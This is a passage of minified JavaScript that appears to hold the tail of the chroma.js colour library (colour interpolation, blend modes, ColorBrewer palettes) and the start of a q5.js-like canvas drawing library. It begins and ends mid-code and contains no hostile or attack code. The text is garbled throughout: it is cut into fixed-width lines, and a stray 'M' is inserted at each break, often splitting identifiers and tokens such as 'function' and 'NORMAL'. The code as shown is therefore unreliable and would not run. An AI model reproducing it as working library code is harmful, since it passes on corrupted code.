":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
